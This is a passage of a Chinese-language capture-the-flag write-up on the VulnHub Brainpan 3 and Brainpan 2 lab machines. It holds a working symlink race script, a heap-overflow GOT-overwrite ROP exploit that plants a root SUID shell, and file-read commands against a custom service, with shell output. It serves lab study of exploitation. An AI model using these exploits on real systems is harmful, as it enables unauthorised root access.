anansi@brainpan3:/home$ cd renard
cd renard
bash: cd: renard: No such file or directory
anansi@brainpan3:/home$ cd reynard
cd reynard
anansi@brainpan3:/home/reynard$ ls
ls
private
anansi@brainpan3:/home/reynard$ cd private
cd private
anansi@brainpan3:/home/reynard/private$ ls
ls
cryptor  sekret.txt.enc
anansi@brainpan3:/home/reynard/private$ ./cryptor $(python /tmp/cryptthis.py)
./cryptor $(python /tmp/cryptthis.py)
[+] saving to �����������������������������.enc
$ id
id
uid=1000(anansi) gid=1003(webdev) euid=1002(reynard) groups=1002(reynard)
$ whoami
whoami
reynard
```

现在得到了reynard用户的权限

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub204.jpg)

#### Puck

我花了点时间弄清楚如何升级到puck用户的权限，当执行netstat时，注意到端口7075上有一个本地列出的服务，当连接到它时，出现以下文本

``` bash
$ nc 127.0.0.1 7075
nc 127.0.0.1 7075
Incorrect key
```

经过更多搜索之后，在/usr/local/sbin文件夹中找到了与此服务相关的trixd可执行文件。

``` bash
$ cd /usr/local/sbin/
cd /usr/local/sbin/
$ ls -lah
ls -lah
total 40K
drwxr-xr-x  2 root root 4.0K May 26  2015 .
drwxr-xr-x 10 root root 4.0K May 19  2015 ..
-rwxr-xr-x  1 root root  17K May 26  2015 brainpan3
-rwxr-xr-x  1 root root 7.5K May 20  2015 trixd
-rwxr-xr-x  1 root root  343 May 21  2015 www
```

将文件复制到本地计算机以进行分析

main
``` bash
int __cdecl main()
{
  int v0; // eax
  int v1; // eax
  int v2; // ebx
  int v4; // ST1C_4
  int v5; // ST1C_4
  struct timeval timeout; // [esp+24h] [ebp-94h]
  struct stat stat_buf; // [esp+2Ch] [ebp-8Ch]
  int buf; // [esp+84h] [ebp-34h]
  int v9; // [esp+88h] [ebp-30h]
  int v10; // [esp+8Ch] [ebp-2Ch]
  int v11; // [esp+90h] [ebp-28h]
  int v12; // [esp+94h] [ebp-24h]
  int s1; // [esp+98h] [ebp-20h]
  int v14; // [esp+9Ch] [ebp-1Ch]
  int v15; // [esp+A0h] [ebp-18h]
  int v16; // [esp+A4h] [ebp-14h]
  int v17; // [esp+A8h] [ebp-10h]
  unsigned int v18; // [esp+ACh] [ebp-Ch]

  v18 = __readgsdword(0x14u);
  if ( ptrace(0, 0, 1, 0) < 0 )
    return -1;
  setbuf(stdout, 0);
  timeout.tv_usec = 1;
  buf = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  s1 = 0;
  v14 = 0;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  __lxstat(3, "/mnt/usb/key.txt", &stat_buf);
  if ( (stat_buf.st_mode & 0xF000) == 40960 )
  {
    v2 = -1;
    puts("Key file is compromised.");
  }
  else
  {
    select(1, 0, 0, 0, &timeout);
    v0 = open("/home/puck/key.txt", 0);
    if ( v0 < 0 )
    {
      v5 = v0;
      perror("open");
      v0 = v5;
    }
    read(v0, &buf, 0x13u);
    v1 = open("/mnt/usb/key.txt", 0);
    if ( v1 < 0 )
    {
      v4 = v1;
      perror("open");
      v1 = v4;
    }
    read(v1, &s1, 0x13u);
    v2 = strcmp((const char *)&s1, (const char *)&buf);
    if ( v2 )
    {
      v2 = 0;
      puts("Incorrect key");
    }
    else
    {
      puts("Authentication successful");
      system("/bin/sh");
    }
  }
  return v2;
}
```

Reynard可以写入“/mnt/usb/”文件夹

``` bash
131707    4 drwxrwx---   2 reynard  dev          4096 Aug  2 15:54 /mnt/usb
```

一旦在7075上连接到服务，就会执行checkKeyfile函数，该函数打开2个密钥文件并比较它们的内容，如果它们匹配，则将其放入shell中。符号链接检查和睡眠（使用select）使Superkojiman暗示了比赛状况。可以在usb文件夹中重复创建一个密钥文件，然后将其更改为指向puck文件夹中的密钥文件的符号链接，同时连接到该服务，并希望在某个时候能克服符号链接检查和打开文件。将欺骗比较两个相同文件的代码，即pucks文件夹中的有效密钥。

#### 走向胜利

编写了一段python代码，该代码重复创建了一个密钥文件，将其更改为符号链接，并且每次操作之间几乎没有睡眠。该脚本必须作为reynard运行，因为他是唯一允许写入usb文件夹的脚本。任何其他用户都可以连接到该服务。

race.py
``` bash
import os
import time
 
if os.geteuid() != 1002:
    print 'Run as user reynard'
else:
    for i in range(1000)
        os.system('echo "h4xh4xh4xh4xh4xh4x" > /mnt/usb/key.txt')
        time.sleep(0.1)
        os.unlink('/mnt/usb/key.txt')
        os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
        time.sleep(0.1)
        os.unlink('/mnt/usb/key.txt')
 
    print '[+] Finished'
```

为了使其正常工作，需要2个shell，因此使用了报告漏洞利用创建了另一个anansi shell。当reynard shell执行race脚本时，此anansi shell用于连接到服务。race脚本。

``` bash
$ python race.py
python race.py
```

在第二个终端中运行几次netcat循环，直到成功。

``` bash
anansi@brainpan3:/$ for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Authentication successful
id
id
uid=1001(puck) gid=1004(dev) groups=1001(puck)
whoami
whoami
puck
pwd
pwd
/
cd /home
cd /home
ls
ls
anansi
puck
reynard
cd puck
cd puck
ls
ls
key.txt
cat key.txt
cat key.txt
HBN48HY71ERG5GA6290V
ls
ls
key.txt
ls -la
ls -la
total 24
drwx------ 2 puck puck 4096 Jun 10  2015 .
drwxr-xr-x 5 root root 4096 May 19  2015 ..
-rw------- 1 puck puck    0 Jun 10  2015 .bash_history
-rw-r--r-- 1 puck puck  220 May 19  2015 .bash_logout
-rw-r--r-- 1 puck puck 3637 May 19  2015 .bashrc
-rw-r--r-- 1 puck puck  675 May 19  2015 .profile
-rw------- 1 puck puck   21 May 19  2015 key.txt
```

#### 没有得到root权限，就没有荣耀

当搜索有关puck的文件时，已经找到了一个有趣的cron job

``` bash
puck@brainpan3:/home/puck$ ls -lah /etc/cron.d/
ls -lah /etc/cron.d/
ls -lah /etc/cron.d/
total 16K
drwxr-xr-x  2 root root 4.0K May 20  2015 .
drwxr-xr-x 90 root root 4.0K Feb  6 07:11 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rw-r--r--  1 root root  100 May 19  2015 msg_admin
puck@brainpan3:/home/puck$ cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done
puck@brainpan3:/home/puck$ /usr/local/bin/msg_admin
/usr/local/bin/msg_admin
/usr/local/bin/msg_admin
Usage: /usr/local/bin/msg_admin priority message.txt
Message file format: requestername|message
Eg: tony|Add a new user to repo
Can have multiple messages in a single file separated by newlines.
Eg: tony|Please remove /tmp/foo
    cate|Reset password request.
```

cron job 从/opt/.messenger文件夹中获取所有.msg文件，并将它们传递给msg_admin可执行文件，然后删除该文件。将可执行文件复制到本地计算机进行分析。

struct_msg
``` bash
struct struct_msg
{
  int Priority;
  char *Requestername;
  char *Msg;
};
```

main
``` bash
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // esp
  int result; // eax
  int v5; // ebx
  int v6; // ebx
  char *v7; // ebx
  const char *v8; // [esp-18h] [ebp-98h]
  int v9; // [esp-14h] [ebp-94h]
  int v10; // [esp-Ch] [ebp-8Ch]
  const char **v11; // [esp+0h] [ebp-80h]
  int v12; // [esp+4h] [ebp-7Ch]
  char *s; // [esp+Ch] [ebp-74h]
  int v14; // [esp+10h] [ebp-70h]
  int i; // [esp+14h] [ebp-6Ch]
  int v16; // [esp+18h] [ebp-68h]
  int v17; // [esp+1Ch] [ebp-64h]
  int v18; // [esp+20h] [ebp-60h]
  char *dest; // [esp+24h] [ebp-5Ch]
  FILE *stream; // [esp+28h] [ebp-58h]
  void *v21; // [esp+2Ch] [ebp-54h]
  void *v22; // [esp+30h] [ebp-50h]
  char *delim; // [esp+34h] [ebp-4Ch]
  char *src; // [esp+38h] [ebp-48h]
  int v25[10]; // [esp+3Ch] [ebp-44h]
  unsigned int v26; // [esp+64h] [ebp-1Ch]
  int *v27; // [esp+70h] [ebp-10h]

  v27 = &argc;
  v12 = argc;
  v11 = argv;
  v26 = __readgsdword(0x14u);
  v16 = 0;
  v17 = 10;
  v14 = 0;
  i = 0;
  v18 = 399;
  v3 = alloca(400);
  dest = (char *)&v10;
  if ( argc > 2 )
  {
    v8 = v11[1];
    v16 = atol(v8);
    stream = fopen(v11[2], "r");
    s = (char *)malloc(0x190u);
    v21 = malloc(0x14u);
    v22 = malloc(0x64u);
    while ( getline((int)&s, (int)&LINEMAX_2, (int)stream) > 0 )
      ++v14;
    v9 = v14;
    printf("[+] Recording %d entries\n", v14);
    rewind(stream);
    for ( i = 0; i < v14; ++i )
    {
      v25[i] = (int)malloc(0xCu);
      *(_DWORD *)v25[i] = v16;
      v5 = v25[i];
      *(_DWORD *)(v5 + 4) = malloc(0xAu);
      v6 = v25[i];
      *(_DWORD *)(v6 + 8) = malloc(0xC8u);
    }
    for ( i = 0; i < v14; ++i )
    {
      delim = "|";
      if ( getline((int)&s, (int)&LINEMAX_2, (int)stream) > 1 )
      {
        v7 = s;
        v7[strlen(s) - 1] = 0;
        src = strtok(s, delim);
        strcpy(*(char **)(v25[i] + 4), src);
        src = strtok(0, delim);
        strcpy(*(char **)(v25[i] + 8), src);
        strncpy(dest, *(const char **)(v25[i] + 8), 0x64u);
      }
    }
    fclose(stream);
    notify_admin((int)v25, v14);
    result = 0;
  }
  else
  {
    usage((int)*v11);
    result = 1;
  }
  return result;
}
```

这是经典的内存损坏。对于.msg文件中的每条消息（行），它都会创建一个struct_msg结构并为其变量分配内存，然后将其添加到列表中。接下来，它循环遍历文件，并在“ |”定界符上分割每一行，并将每个部分复制到结构变量“Requestername”和“Msg”。这些变量的固定大小为10（请求者名称）和200（消息）。由于没有检查长度，因此可能破坏内存中的结构指针。以下代码创建一个包含2条消息的.msg文件，每个文件的变量都填充到其最大值，因此不会破坏任何内容。

``` bash
import sys
import struct
 
# message 1
payload =  10  * '\x41' # A
payload += '|'
payload += 200 * '\x42' # B
payload += '\n'
# message 2
payload += 10  * '\x43' # C
payload += '|'
payload += 200 * '\x44' # D
payload += '\n'
 
open('poc.msg','wb').write(payload)
```

当使用GDB分析内存时，可以看到如何映射所有内存

``` bash
0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x00000000	0x00000011
0x804c478:	0x00000001	0x0804c488	0x0804c498	0x00000011
0x804c488:	0x43434343	0x43434343	0x00004343	0x000000d1
0x804c498:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4a8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4b8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4c8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4d8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4e8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4f8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c508:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c518:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c528:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c538:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c548:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c558:	0x44444444	0x44444444	0x00000000	0x00020aa1
```

第一个struct_msg结构位于0x804c388，第二个位于0x804c478。现在，在第一个消息中使用较大的（216字节）“Msg”缓冲区时，将覆盖第二个struct_msg结构的“Requestername”指针，并在下一个strcpy调用中有效控制目标指针和源数据，从而导致Write-允许我们修补GOT条目的任何条件。这段代码将got.strtok地址修补为0x43434343，strtok是strcpy之后执行的下一个函数。我编写了一个ROP有效负载，它通过从3个阶段中添加0xE900来将取自atol的atol的地址加载到eax中，并将该值累加至系统，然后使用参数'/ tmp / foo'调用eax（system），这是一个脚本由我们创建并在执行时将根拥有的SUID shell复制到tmp。

``` bash
import sys
import struct
 
# message 1
# .got.plt:0804B05C off_804B05C     dd offset strtok        ; DATA XREF: _strtok
payload = 10 * '\x41'
payload += '|'
payload += 200 * '\x42'
payload += 12 * '\x42'
# overwrite 2nd struct it's requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes 0x43434343
payload += '\n'
# message 2
payload += 4 * '\x43' # written to got.strtok
payload += '|'
payload += 200 * '\x44'
payload += '\n'
 
open('poc.msg','wb').write(payload)
```

一些GDB

``` bash
gdb-peda$ x/150xw 0x804c388
0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c478:	0x42424242	0x0804b05c	0x0804c400	0x00000011
0x804c488:	0x00000000	0x00000000	0x00000000	0x000000d1
0x804c498:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4d8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4e8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c508:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c518:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c528:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c538:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c548:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c558:	0x00000000	0x00000000	0x00000000	0x00020aa1
...
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac --> 0x8048ce3 (:	mov    DWORD PTR [ebp-0x48],eax)
0004| 0xbffff2b0 --> 0x0 
0008| 0xbffff2b4 --> 0x8048f4d --> 0x100007c 
0012| 0xbffff2b8 --> 0x804c008 --> 0xfbad2488 
0016| 0xbffff2bc ('B' repeats 100 times "\234, \357\377\267 \360\377\267")
0020| 0xbffff2c0 ('B' repeats 96 times "\234, \357\377\267 \360\377\267")
0024| 0xbffff2c4 ('B' repeats 92 times "\234, \357\377\267 \360\377\267")
0028| 0xbffff2c8 ('B' repeats 88 times "\234, \357\377\267 \360\377\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
```

基于GDB的输出，可以看到，如果执行pop（4）小工具，将返回第一条（上一条）消息的“目标”数据，该消息由“strncpy（dest，aMessages [i]”存储在堆栈中]-> Msg，100u）;'。

#### root所有的一切

编写了一个ROP payload，通过从3个阶段中添加0xE900来将取自atol的atol的地址加载到eax中，并将该值累加至系统，然后使用参数'/tmp/foo'调用eax（system），这是一个脚本由我创建并在执行时将root拥有的SUID shell复制到tmp。

rootsploit.py
``` bash
import sys
import struct
import os
 
def p(v):
    return struct.pack('<L', v)
 
__strtok_got    = 0x0804B05C
__atol_got      = 0x0804B04C
__ppppr         = 0x08048DDC
__foo_str       = 0x08048ED8
__int16_e800h   = 0x080480C7
__int16_0100h   = 0x08048093
 
 
 
rop  = p(0x08048790)
rop += p(0x08048E06)
rop += p((__atol_got - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_e800h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_0100h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048786)
rop += p(__foo_str + 23)
 
payload = 10 * 'A'
payload += '|'
payload += rop.ljust(212, 'A') # padding till 212 eq next struct requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes __ppppr
payload += '\n'
payload += p(__ppppr) # written to got.strtok
payload += '|'
payload += 200 * 'A'
payload += '\n'
 
open('exploit.msg','wb').write(payload)
foocode = "cp /bin/sh /tmp/r00tsh3ll;chown root:root /tmp/r00tsh3ll;chmod 4755 /tmp/r00tsh3ll"
open('/tmp/foo','wb').write(foocode)
os.system('chmod +x /tmp/foo')
```

从tmp文件夹执行漏洞利用脚本，并将创建的exploit.msg移至/opt/.messenger文件夹，然后稍等。

``` bash
puck@brainpan3:/tmp$ python rootsploit.py
python rootsploit.py
python rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 20K
drwxrwxrwt  2 root   root   4.0K Feb  6 13:03 .
drwxr-xr-x 21 root   root   4.0K Jun 17  2015 ..
-rw-r--r--  1 puck   dev     434 Feb  6 13:03 exploit.msg
-rwxr-xr-x  1 puck   dev      82 Feb  6 13:03 foo
-rwxrwxrwx  1 anansi webdev 1.1K Feb  6 12:59 rootsploit.py
puck@brainpan3:/tmp$ mv exploit.msg /opt/.messenger/
mv exploit.msg /opt/.messenger/
mv exploit.msg /opt/.messenger/
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 16K
drwxrwxrwt  2 root   root   4.0K Feb  6 13:03 .
drwxr-xr-x 21 root   root   4.0K Jun 17  2015 ..
-rwxr-xr-x  1 puck   dev      82 Feb  6 13:03 foo
-rwxrwxrwx  1 anansi webdev 1.1K Feb  6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 16K
drwxrwxrwt  2 root   root   4.0K Feb  6 13:03 .
drwxr-xr-x 21 root   root   4.0K Jun 17  2015 ..
-rwxr-xr-x  1 puck   dev      82 Feb  6 13:03 foo
-rwxrwxrwx  1 anansi webdev 1.1K Feb  6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 128K
drwxrwxrwt  2 root   root   4.0K Feb  6 13:04 .
drwxr-xr-x 21 root   root   4.0K Jun 17  2015 ..
-rwxr-xr-x  1 puck   dev      82 Feb  6 13:03 foo
-rwsr-xr-x  1 root   root   110K Feb  6 13:04 r00tsh3ll
-rwxrwxrwx  1 anansi webdev 1.1K Feb  6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 128K
drwxrwxrwt  2 root   root   4.0K Feb  6 13:04 .
drwxr-xr-x 21 root   root   4.0K Jun 17  2015 ..
-rwxr-xr-x  1 puck   dev      82 Feb  6 13:03 foo
-rwsr-xr-x  1 root   root   110K Feb  6 13:04 r00tsh3ll
-rwxrwxrwx  1 anansi webdev 1.1K Feb  6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ./r00tsh3ll
./r00tsh3ll
./r00tsh3ll
# id
id
id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
# whoami
whoami
whoami
root
# cd /root
cd /root
cd /root
# ls
ls
ls
brainpan.8.gz
# ls -la
ls -la
ls -la
total 20
drwx------  2 root root 4096 Jul 16  2015 .
drwxr-xr-x 21 root root 4096 Jun 17  2015 ..
-rw-------  1 root root    0 Jul 16  2015 .bash_history
-rw-------  1 root root 3106 Feb 19  2014 .bashrc
-rw-------  1 root root  140 May 31  2015 .profile
-rw-------  1 root root  314 Jun 23  2015 brainpan.8.gz
```

成功的取得了root权限

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub205.jpg)

将其中的brainpan.8.gz复制到/home/anansi文件夹，然后开启python的SimpleHTTPServer，将brainpan.8.gz下载之后解压，读取其中的内容，发现如下所示的文本，正好是flag

``` bash
root@kali:~/vulnhub/brainpan3# file brainpan.8 
brainpan.8: troff or preprocessor input, ASCII text
root@kali:~/vulnhub/brainpan3# cat brainpan.8 
.TH man 8 "20 May 2015" "3.0" "brainpan 3"

.SH DESCRIPTION
Congratulations, you win! Thanks for playing!

.SH FLAG
.B
flag{tricksy-hobbitses-use-unix}

.SH BUGS
You found them all. 

.SH AUTHOR
superkojiman - 
.B
http://blog.techorganic.com

.SH TESTERS
Special thanks go to barrebas and Swappage taking the time to test Brainpan 3!
.br
barrebas - 
.B
https://twitter.com/barrebas
.br
Swappage - 
.B
https://twitter.com/Swappage
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub206.jpg)


#### 知识点总结

 - 缓冲区溢出
 - 堆栈溢出
 - 字符串格式漏洞
 - 反引号命令注入
 - >&2管道命令输出
 - python的pwntools模块使用编写poc
 - pwndbg调试shellcode
 - ROPGadget找到清晰的eax小工具
 - 偏移量累积寻找

<font color="red">Game over</font>

这次傻瓜式一键通关脚本就在方法一的尾部，enjoy it ...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end brainpan-3 -->

</details>

<a id="case-brainpan2"></a>

## popen 解析与间接调用指针

自定义命令服务的 popen 行为提供入口，后续调试确定间接调用地址。原记录还分析了同名 root 账户、SSH 备份和历史记录。

<p class="kb-provenance">来源 brainpan2 · 原记录 2020-02-01 · 33 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-brainpan2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start brainpan2 -->

#### 名称
名称：brainpan: 2
发行日期：2013年11月20日

#### 下载

 - Download (Mirror): https://download.vulnhub.com/brainpan/brainpan2.zip
 - Download (Torrent): https://download.vulnhub.com/brainpan/brainpan2.zip.torrent

#### 描述

``` bash
 _               _                           ___  
 | |             (_)                         |__ \ 
 | |__  _ __ __ _ _ _ __  _ __   __ _ _ __      ) |
 | '_ \| '__/ _` | | '_ \| '_ \ / _` | '_ \    / / 
 | |_) | | | (_| | | | | | |_) | (_| | | | |  / /_ 
 |_.__/|_|  \__,_|_|_| |_| .__/ \__,_|_| |_| |____|
                         | |                       
                         |_|

                             by superkojiman  
                  http://www.techorganic.com
```

#### 免责声明

使用此虚拟机，即表示您同意，对任何损失或损害不承担任何责任，包括但不限于间接或间接损失或损害，或由于或来自于此而产生的数据或利润损失而造成的任何损失或损害。与使用此软件的连接。
TL; DR：如果发生坏事，这不是我的错。

#### 设定

Brainpan已通过测试，可在以下虚拟机管理程序上运行：
 - VMware Player 6.0.1
 - VMWare Fusion 6.0.2
 - VirtualBox 4.3.2

检查以确保brainpan2.ova具有以下校验和，以便您知道下载的文件是否完整：
``` bash
MD5：bf01f03ea0e7cea2553f74189ff35161SHA1：b46891cda684246832f4dbc80ec6e40a997af65a
```
将brainpan2.ova导入到您首选的管理程序中，并根据需要配置网络设置。
它会通过DHCP获得IP地址，建议在NAT内运行它，或者仅对主机OS可见，因为它容易受到攻击。
VulnHub独家.
[博客文章](http：//blog.vulnhub.com/2013/11/competition-brainpan-2.html)



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.116
Host is up (0.00027s latency).
MAC Address: 08:00:27:6D:B8:70 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -v -sV -Pn -p- 192.168.56.116
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
```

``` bash
C:\Users\HASEE>nmap -v -sV -p 9999,10000 -A -T5 192.168.56.116
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings:
|   NULL:
|     _| _|
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [______________________ WELCOME TO BRAINPAN 2.0________________________]
|_    LOGIN AS GUEST
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Hacking Trends
```

nc连接后然后根据具体提示输入命令，发现如下的信息，并能对文件进行一定的操作

``` bash
root@kali:~# nc 192.168.56.116 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]
                             LOGIN AS GUEST                             

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *                                


                          >> TELL ME MORE
    FILES    HELP    VIEW       CREATE
    USERS    MSG     SYSTEM     BYE

                          >> FILES
total 36
-rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe
-rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt
-rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt
-rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1
-rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2
                          >> VIEW
    ENTER FILE TO DOWNLOAD: notes.txt
TODO LIST
---------
reynard: 
 - Completed manpage. Read with groff or man.
 - Renamed to brainpan.txt instead of brainpan.7.
 - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); 

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc... 

anansi: 
 - Fixed a reported buffer overflow in login in version 1.0. 
 - Discovered buffer overflow in the command prompt, fixed as of version 2.0

puck: look into loading a configuration file instead of hardcoding settings 
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
                          >> VIEW
    ENTER FILE TO DOWNLOAD: /etc/passwd
root:x:104:106:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
root :x:0:0:root:/var/root:/bin/bash
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash
puck:x:1001:1001:puck,,,:/home/puck:/bin/bash
reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash
```

#### getshell

太好了:)可以查看系统内部可以访问的任何文件。从文件列表中，发现uid是系统用户之一。尝试成功创建和读取其主目录中的文件。

``` bash
                          >> CREATE
    ENTER FILE TO CREATE: /home/anansi/lucifer11   
    ENTER CONTENTS: content\lucifer11testcontents
    FILE CREATED
                          >> VIEW
    ENTER FILE TO DOWNLOAD: /home/anansi/lucifer11
content\lucifer11testcontents
```

